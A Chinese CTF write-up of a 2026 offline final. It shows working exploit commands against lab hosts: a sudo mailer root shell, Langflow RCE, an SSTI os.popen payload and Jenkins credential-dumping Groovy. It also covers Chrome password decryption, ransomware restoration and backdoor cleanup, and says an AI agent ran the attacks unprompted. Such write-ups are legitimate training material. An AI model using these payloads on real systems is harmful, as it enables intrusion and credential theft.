3180 字
16 分钟
京津冀长城杯2026线下决赛
2026-09-18

前言#

make chamd5 great again!

这次和米六lier一起的,但是因为一些事情,某人消失了(,另一个又是pwn手,线下跟单挑一样(,不过最后社会组第二,总排应该是第三,还不错

上午#

场景1 3flag#

基础ip 8.160.190.9

8.160.190.9扫一下全端口得,发现38180端口有wp服务,title泄露版本是6.9.4,明显2026cve直接打

遇到的情况就是rest_route接口会导致服务器宕机重启,直接用脚本的话会卡死,这里让ai直接手动发包了,效果还可以,花了3min创建了账号进后台,然后传插件getshell即可

回过头看看wp里面的文章泄露信息

集团邮箱统一格式:拼音全拼@rxpharma.com,例:研发部李家华 = li.jiahua@rxpharma.com。
邮箱/办公系统初始口令规则为 Rx@+本人出生月日年后两位(MMddyy),例:1986 年 1 月 1 日出生 → Rx@010186。
完整名单见 HR 文档 /wp-content/uploads/onboarding.pdf
下载 onboarding.pdf 得到人员名单 + 生日 → 推出 li.jiahua 的初始口令 Rx@010186

横向data先扫一下内网,拿到172.16.2.21主机,这里扫描端口看见2222,ssh上去收集信息

cat ~/.pgpass
# 127.0.0.1:5432:rx_platform:svc_report:RxReport2026 ← Postgres 只读账号
export PGPASSWORD=RxReport2026
psql -h 127.0.0.1 -U svc_report -d rx_platform -c '\dt'

读一下数据库

service username password_enc iv(hex) cipher_mode
Harbor Registry deploy cypuFhp32Ec06FzNvcwP6A== 30313233343536373839616263646566 AES-256-CBC

同时拿到 /opt/scripts/report_sync.sh,是用来同步harbor的脚本,先ssh里面提权一下

Matching Defaults entries for li.jiahua on rd-platform-02:
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
mail_badpass, mailerpath=/tmp/sudo-mailer
经典错误导致root执行
printf '#!/bin/sh\nid > /tmp/pwned.txt; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\n' \
> /tmp/sudo-mailer && chmod 755 /tmp/sudo-mailer
echo wrong | sudo -S -k /bin/true >/dev/null 2>&1 # 触发 mailer → root 执行
cat /tmp/pwned.txt ; ls -la /tmp/rb # uid=0(root)
/tmp/rb -p # SUID bash → root shell

第二个flag就拿到了,现在横向到harbor,扫一下172.16.0.0/16拿到172.16.2.121:443

这个时候看看是不是harbor,别横向到场景2了

GET https://172.16.2.121/ → <title>Harbor</title>
GET /api/v2.0/systeminfo → {"auth_mode":"db_auth",...}
GET /api/v2.0/projects → [{"name":"library","metadata":{"public":"true"},...}]
GET /v2/_catalog → 401 Unauthorized
# 1) 公开项目列表(无需认证)
GET /api/v2.0/projects?page=1&page_size=100 → library
# 2) 公开仓库
GET /api/v2.0/projects/library/repositories → library/ci-agent
# 3) registry 需要 token:匿名 token 流程
GET /service/token?service=harbor-registry&scope=repository:library/ci-agent:pull
GET /v2/library/ci-agent/manifests/latest (Authorization: Bearer <token>)
GET /v2/library/ci-agent/blobs/<config digest>
GET /v2/library/ci-agent/blobs/<layer digest>
# 层内 /etc/ci/deploy.sh
#!/bin/bash
# RXPharma CI harbor deploy helper
# NOTE: service account, DO NOT rotate without IT-SEC signoff (ref ticket RD-1187)
HARBOR_ADDR="8.160.171.153"
HARBOR_USER="ci-deploy"
HARBOR_PASS="rxpharma-internal-token-2026-hb4d8f7c2a1e"
docker login -u "$HARBOR_USER" -p "$HARBOR_PASS" "$HARBOR_ADDR"
docker push "$HARBOR_ADDR/rd-core/pipeline-runner:${BUILD_TAG:-latest}"

ci-deploy 打 Harbor API登录是 401, 但打 registry可以,直接注册上去,然后拉 v1.2 的 manifest + config + 各层,在层里找 flag

整体总结

公网 WordPress(38180) --CVE-2026-63030--> 管理员 --插件上传--> rx-diag webshell
├── WP 文章泄露口令规则 + onboarding.pdf ──> li.jiahua / Rx@010186
│ │
│ ssh 172.16.2.21:2222 (rd-platform-02)
│ │
│ .pgpass 泄露 Postgres ──> ops_passwords(诱饵密文)
│ sudo mailerpath 提权 ──> root ──> data flag
│ │
└────────────────── 172.16.0.0/16 全段扫描 ──> 172.16.2.121 = Harbor
公开项目 library/ci-agent ──> ci-deploy 凭据
/v2/_catalog ──> rd-core/pipeline-runner:v1.2 ──> harbor flag

场景2 4flag#

基础ip 8.145.43.204

依旧扫全端口拿到46853,是Langflow未授权rce的nday,首先/static/js/chunk-3f81.js.map泄露源码,拿到版本Langflow 1.8.1

GET /kb/api/v1/version → {"version":"1.8.1"}
GET /kb/api/v1/auto_login → 直接返回 access_token(认证绕过!)
POST /kb/api/v1/flows/ (Bearer) → 创建 PUBLIC flow
id = 41d015f2-c849-40fe-906f-9397a3f6b9a6
POST /kb/api/v1/build_public_tmp/41d015f2-.../flow ← **无需认证**
body.data.nodes[].data.node.template.code.value = 自定义组件类(任意 Python)
→ 返回 job_id
GET /kb/api/v1/build/<job_id>/events (Bearer) → SSE 流里带出命令输出

上去就是root,拿到flag

源码里面写到后端 acct/create 直接用请求体建用户…服务端默认 role=1。TODO(v2.4): 服务端增加字段白名单,app.py直接读出来

role = body.get("role", 1) # ← 字段白名单缺失,直接把请求体的 role 落库
c.execute("INSERT INTO users(phone,pwd,role,created) VALUES(?,?,?,?)", (phone,pwd,role,...))

直接越权到root账号

POST /api/v2/acct/create
Content-Type: application/json
{"phone":"19000000008","pwd":"Pwn3d!Pass2026","_tk":"invite2026","role":"2"}
→ {"code":0,"msg":"ok","uid":"19000000008"}

fuzz一下看见/admin/report/render,明显的ssti点,签名密钥同样从前端泄露__k = "cb_h5_secret_2026",sig = md5(ts + key)

这个时候直接打rce,ssti无拦截的

{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

这里封装成稳定隧道先,然后挖了一下配置,langflow的/etc/kb-platform/ci.conf泄露了

# KB 平台对接外部系统配置 (运维管理, 勿提交代码库)
[ci]
url = http://192.168.3.133:8080
user = admin
password = eZ5xMxF7#*Jsb0fztD22
note = 报表流水线构建

admin / eZ5xMxF7#*Jsb0fztD22 是admin。 拿 crumb 后直接打 /scriptText(Groovy 任意代码,容器内 root)

这里用ssti的隧道转发过去

curl -s -c /tmp/jc -u "$A" "$J/crumbIssuer/api/json" -o /tmp/cr.json
C=$(grep -o '"crumb":"[^"]*"' /tmp/cr.json | cut -d'"' -f4)
curl -s -b /tmp/jc -u "$A" -H "Jenkins-Crumb: $C" -X POST \
"$J/scriptText" --data-urlencode script@/tmp/g.groovy

flag3 以 Jenkins Secret text 凭据的形式注入, 落在 credentials.xml,提取一下

import jenkins.model.Jenkins
import com.cloudbees.plugins.credentials.CredentialsProvider
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class, Jenkins.get(), null, null)
creds.each { c ->
println("=== CRED id=" + c.id + " desc=" + c.description + " class=" + c.getClass().getName())
try { println(" SECRET=" + c.getSecret().getPlainText()) } catch(e) {}
try { println(" USER=" + c.getUsername()) } catch(e) {}
try { println(" PASS=" + c.getPassword().getPlainText()) } catch(e) {}
}

第四个banking的flag没拿到,赛后听说是打fastjson的链子,可惜了xd

不过里面有很多蜜罐来着,也浪费了很多时间

下午#

下午场景是修复题,还挺有意思,类似一个win10主机rdp上去,里面有MobaXterm连接了几个机器,都有点问题,修复就好了

web修复#

这里先把win10当跳板机做端口转发了

# 在 WIN10(192.168.10.15) 上执行
netsh interface portproxy reset
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=2222 connectaddress=192.168.10.20 connectport=22
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.10.20 connectport=80
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=192.168.10.20 connectport=8080
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=192.168.10.20 connectport=443
netsh interface portproxy show v4tov4

这样就可以nxc winrm 8.160.190.182 -u Administrator -p 'tYNafvdxE9ZgX63' --local-auth -X '<powershell命令>'

ssh上去ssh -p 2222 ubuntu@8.160.190.182

排查一下

sudo nginx -T | head -120
sudo ls -la /etc/nginx/sites-enabled/ /etc/nginx/conf.d/
sudo cat /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf
sudo ss -lntp
#问题风险
1location /download { + alias /share/;(location 无尾斜杠、alias 有尾斜杠)经典 alias 路径穿越/download../etc/passwd → 任意文件读取
2user root;(nginx.conf)worker 以 root 运行,任何 nginx 层漏洞直接变 root
3server_tokens on;泄露 nginx 版本号

顺带发现 sites-enabled/default 里有一处反代配置是upstream portal_backend { server 192.168.10.12:80; keepalive 8; }

修复

#!/bin/bash
set -e
cd /etc/nginx
# ① 备份
[ -f nginx.conf.orig-bak ] || cp -a nginx.conf nginx.conf.orig-bak
[ -f sites-available/default.orig-bak ] || cp -a sites-available/default sites-available/default.orig-bak
# ② nginx worker 降权:root -> www-data(最小权限)
sed -i 's/^user root;/user www-data;/' nginx.conf
# ③ 关闭版本号泄露
sed -i 's/^\( *\)server_tokens on;/\1server_tokens off;/' sites-available/default
# ④ 修掉 alias 路径穿越:location 补尾斜杠(location 带 `/` + alias 带 `/` 才是安全写法)
sed -i 's|^\( *\)location /download {|\1location /download/ {|' sites-available/default
# ⑤ 语法检查 + 平滑重载
nginx -t && systemctl reload nginx
grep -n '^user' nginx.conf
grep -n 'server_tokens\|location /download' sites-available/default
ps -o user,pid,cmd -C nginx # 期望 worker 为 www-data

win10修复#

关卡要求:浏览器被勒索,运维把关键网站密码保存在浏览器里但忘了 → 恢复关键密码并登录该网站。

先定位一下

C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data (SQLite)
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State (JSON, os_crypt 密钥)
C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

只有一个

origin_url : http://192.168.10.100:8080/login
username : admin
password : v20 || 12B nonce || ciphertext || 16B tag (46 字节)

v20 前缀 = Chrome 新版 App-Bound Encryption(ABE),不是老的 v10(DPAPI+AES-GCM)方案: 老方案用 Local State -> os_crypt.encrypted_key 里的 AES 密钥直接解,而 v20 还需要 app-bound key, 该 key 被 Chrome 的 elevation service(以 SYSTEM 运行)用 IElevator::EncryptData/DecryptData 包裹。

听说火眼可以直接解,但是我没有,这里ai手搓了一下

① 验证 v10 链路(校准)

Terminal window
# Local State -> os_crypt.encrypted_key = base64("DPAPI" + blob),DPAPI 解出 32B AES 密钥(用户层)
# 实测得到 v10 key:
# wuhz+ajDL2q0KDN/Rnh5l8or2rIWSkgvrEvvNB+Eq1o=

用 Chrome 自己写一个已知明文的 cookie(max-age + Browser.close 优雅退出,保证落盘), 再用该 key 解 → 得到 hello123 / abcdefghij解密链路验证通过

② 剥出 app-bound key(ABK)

Local State -> os_crypt.app_bound_encrypted_key = "APPB" + DPAPI(LocalMachine)的 blob
└─ DPAPI(LocalMachine) 解开(SYSTEM 上下文)
└─ DPAPI(用户上下文,需 impersonate 交互会话的用户) 解开
└─ 内层结构: [1B 类型=1][12B nonce][32B ciphertext][16B tag] ← 待解

(也就是 ABK 同时绑定“机器 + 用户”,缺一层都解不开。)

③ 关键突破:分析 elevation_service.exe

v20 的最后一把钥匙不在注册表/DPAPI 里,而在 Chrome 的 elevation service 二进制中。 把靶机上的 C:\Program Files\Google\Chrome\Application\127.0.6533.73\elevation_service.exe 拉回本地, 反汇编 IElevator::DecryptData → 其核心函数(0x2f2c0)逻辑是:

前 1 字节必须是 0x01(类型)
nonce = 接下来的 12 字节
其余 = ciphertext||tag
AAD = 空
key = 硬编码在 .rdata 的 32 字节常量(RVA 0x14ddd0 / 文件偏移 0x14cbd0)

硬编码密钥:

b31c6e241ac846728da9c1fac4936651cffb944d143ab816276bcc6da0284787

④ 本地解密

import base64, sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# 从 elevation_service.exe 的 RVA 0x14ddd0(文件偏移 0x14cbd0) 取 32 字节
KEY = bytes.fromhex("b31c6e241ac846728da9c1fac4936651cffb944d143ab816276bcc6da0284787")
# app_bound_encrypted_key 剥掉 DPAPI 两层后的内层结构(100B:len/type/path/len/61B blob)
struct = base64.b64decode("HwAAAAJDOlxQcm9ncmFtIEZpbGVzXEdvb2dsZVxDaHJvbWU9AAAAAc0W1KwP5YmxNfwFjoFlJXqQEeEPue5Hz4S706SOIztxrTOViptysrk/WLQoO9KKCzyLYTdGNxBlWy2lcg==")
blob = struct[-61:] # type(1) + nonce(12) + ct+tag(48)
ABK = AESGCM(KEY).decrypt(blob[1:13], blob[13:], None)
print("ABK =", ABK.hex())
# ABK = 30e75a433e987cc5c7fe20dd78fc72c52f5914e02cfe733f1233b1affca792d7
# 解 v20 口令(v20 + 12B nonce + ct+tag,AAD 为空)
con = sqlite3.connect("LoginData_2")
for url, user, pw in con.execute("select origin_url, username_value, password_value from logins"):
pt = AESGCM(ABK).decrypt(pw[3:15], pw[15:], None)
print(url, user, pt.decode())

拿到http://192.168.10.100:8080/login admin H6HzU99Y4WnreET,然后登录上去就行了

backup#

这里我直接暴力一点了,先把win管理员的密钥打下来了,运维用 MobaXterm 便携版(C:\Users\Administrator\Desktop\MobaXterm_Portable_v26.4\)连内网各节点, 会话口令存在 MobaXterm.ini:[Passwords] 为 AES 加密段、[Sesspass] 为 DPAPI blob,都需要主口令才能还原。 反向拆加密存储(AES/DPAPI)成本高,而 MobaXterm 运行时会把已解锁的会话口令以明文留在进程私有堆里 → 直接对进程做内存扫描,用「已知明文」当锚点确认命中。

backup其实就是让你回滚的,这里搞一下http://192.168.4.15:8000/IIS/Backup 2026-08-30 170209/890d619b-4687-4ab2-9307-561cac339c73.vhdx,本机解析一下

curl -sS -m 600 -o tmp/iisbak/890d619b.vhdx \
"http://192.168.4.15:8000/IIS/Backup%202026-08-30%20170209/890d619b-4687-4ab2-9307-561cac339c73.vhdx"
uv run tmp/vhdx2raw.py tmp/iisbak/890d619b.vhdx tmp/iisbak/part.img 1 # VHDX(BAT) -> 稀疏 raw
7z l tmp/iisbak/part.img | head -40 # 7z 直接读 NTFS 镜像
7z x tmp/iisbak/part.img -o/tmp/iisbak/x 'inetpub/wwwroot/QiAnYunGuan/*' # 取出站点目录
find tmp/iisbak/x/inetpub/wwwroot/QiAnYunGuan -type f | wc -l # 49

发现勒索部分

$p='C:\inetpub\wwwroot\QiAnYunGuan'
Get-ChildItem $p -File -Force | Where-Object { $_.Extension -ne '.gift' } |
Select-Object Length,LastWriteTime,Name | Format-Table -AutoSize # 现场只剩 cryptor.exe
(Get-Item "$p\appsettings.json.gift").Length # 475
([IO.File]::ReadAllBytes("$p\appsettings.json.gift")[0..7] | %{ $_.ToString('x2') }) -join ' '
# 44 43 52 59 50 54 30 31 -> "DCRYPT01"

进行回滚上传到IIS

Terminal window
# tmp/restore.ps1(在 .12 上执行)
$src='C:\Windows\Temp\clean.zip'; $stage='C:\Windows\Temp\restore'
$site='C:\inetpub\wwwroot\QiAnYunGuan'; $ev='C:\Windows\Temp\ransom-evidence'
Remove-Item $stage -Recurse -Force -EA SilentlyContinue
Expand-Archive -Path $src -DestinationPath $stage -Force
$staged = (Get-ChildItem "$stage\QiAnYunGuan" -Recurse -File -Force).Count
# ① 勒索样本/加密文件先归档留证,再从站点移出
New-Item -ItemType Directory -Force -Path $ev | Out-Null
$ransom = Get-ChildItem $site -File -Force | Where-Object { $_.Extension -eq '.gift' -or $_.Name -eq 'cryptor.exe' }
$ransom | ForEach-Object { Copy-Item $_.FullName (Join-Path $ev $_.Name) -Force }
$ransom | Remove-Item -Force
# ② 用干净副本覆盖回站点
Copy-Item "$stage\QiAnYunGuan\*" $site -Recurse -Force
$restored = (Get-ChildItem $site -Recurse -File -Force).Count
# ③ 最小权限授权 + 回收应用池(让 IIS 重新加载文件)
icacls $site /grant 'IIS APPPOOL\QiAnYunGuanPool:(OI)(CI)(RX)' /T /C /Q | Out-Null
& C:\Windows\System32\inetsrv\appcmd.exe recycle apppool /apppool.name:QiAnYunGuanPool
Start-Sleep -Seconds 4
"staged=$staged restored_files=$restored evidence=$((Get-ChildItem $ev -File -Force).Count) gift_left=$((Get-ChildItem $site -Recurse -File -Force -Filter *.gift).Count)"
Invoke-WebRequest 'http://127.0.0.1:8080/' -TimeoutSec 20 -UseBasicParsing | Select-Object StatusCode

IIS#

cryptor.exe可以直接py解包拆开

def derive_key(secret: bytes, salt: bytes) -> bytes:
if not secret:
raise CryptorError('密钥不能为空')
return Scrypt(salt=salt, length=32, n=16384, r=8, p=1).derive(secret)
def encrypt_file(source, destination, secret, overwrite=False):
if destination.exists() and not overwrite:
raise CryptorError(f'输出文件已存在: {destination}')
salt = os.urandom(16)
nonce = os.urandom(12)
header = MAGIC + salt + nonce
encryptor = Cipher(algorithms.AES(derive_key(secret, salt)), modes.GCM(nonce)).encryptor()
encryptor.authenticate_additional_data(header)
temp = temporary_path(destination)
with open(source, 'rb') as sf, open(temp, 'wb') as of:
of.write(header)
copy_transformed(sf, of, encryptor) # 1MB 分块
of.write(encryptor.finalize())
of.write(encryptor.tag)
of.flush(); os.fsync(of.fileno())
temp.replace(destination) # 原子替换

爆破是不可能的,BackupOpsPlatform.pdb 头是 BSJB —— portable PDB。 Portable PDB 支持 EmbeddedSource 自定义调试信息(kind GUID 0E8A571B-6926-466E-B4AD-8AB04611F5FE),blob 格式是 u32 解压后长度 ‖ raw deflate 流。 与其老老实实写元数据表解析器,不如直接扫:对 PDB 每个偏移尝试 zlib.decompressobj(-15),看解出来的东西是不是以 \ufeff#pragma 开头。

while i < n - 8:
try:
o = zlib.decompressobj(-15)
out = o.decompress(d[i:i+200000]) + o.flush()
except Exception:
i += 1; continue
if out[:10] == b'\xef\xbb\xbf#pragma': # ← BOM + #pragma
hits.append(out)
i += 1

再把dll反编译一下,开始审计代码,问题主要是几个反序列化sql注入目录穿越读文件硬编码默认口令数据库凭据明文硬编码,修完传上去就行了

MSSQL#

LoginLogs / AuditLogs 还有对象创建时间可以读出来

时间 (2026)痕迹解读
08-30 17:42~23:27admin 多次成功登录(源 192.168.10.1Web 侧已沦陷(弱口令/撞库)
08-30 20:23admin 登录(源 127.0.0.1本机操作
08-30 20:45:16master 库创建 CLR 程序集 sp_Gift(UNSAFE_ACCESS,DLL Database1,4993 B)→ 存储过程 master.dbo.sp_Gift(类 StoredProcedures,方法 CmdExec核心后门:任意命令执行。攻击者已拿到 sa(经 Files/Preview 路径穿越读 appsettings.json 明文连接串)
08-31 00:11 / 00:13Reports/LegacySearch(SQLi,FromSqlRaw 拼接)→ Admin/ImportConfig POST(Detail 留下 not-a-binaryforma...BinaryFormatter 反序列化 RCE 尝试)→ Files/PreviewFiles/BrowseWeb 漏洞利用序列,全程被应用审计日志记录
08-31 00:15:42n0o0b 登录失败(源 ::1攻击者试探账号
08-31 00:16:05admin 成功登录(::1

然后一个一个清理后门就行了

use master
GO
drop procedure dbo.sp_Gift -- 先删入口
GO
drop assembly sp_Gift -- 再删程序集(否则报 referenced by object)
GO
exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'clr enabled', 0; -- CLR 集成(后门载体)
exec sp_configure 'xp_cmdshell', 0; -- 命令执行
exec sp_configure 'Ole Automation Procedures', 0; -- OLE 自动化
exec sp_configure 'Ad Hoc Distributed Queries', 0;
reconfigure with override;
exec sp_configure 'show advanced options', 0; reconfigure with override;

然后最小化启动+重启就行了

AI配置和消耗#

本地用的pi+ds,花销23rmb,配置了aboutsecurity和leoai-mcp,全程人工0提示,所以我们真的需要gpt吗,真的需要多agent吗,真的需要黑板吗?那么开热点的,是不是真的小丑呢?hhh,在一个ai越来越强的时代,这种人机协同的比赛,我们到底该做什么,才不会被淘汰呢?哈哈

京津冀长城杯2026线下决赛
https://www.zhuangsanmeng.xyz/posts/ccbjs/
作者
zsm
发布于
2026-09-18
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

我的pi配置杂谈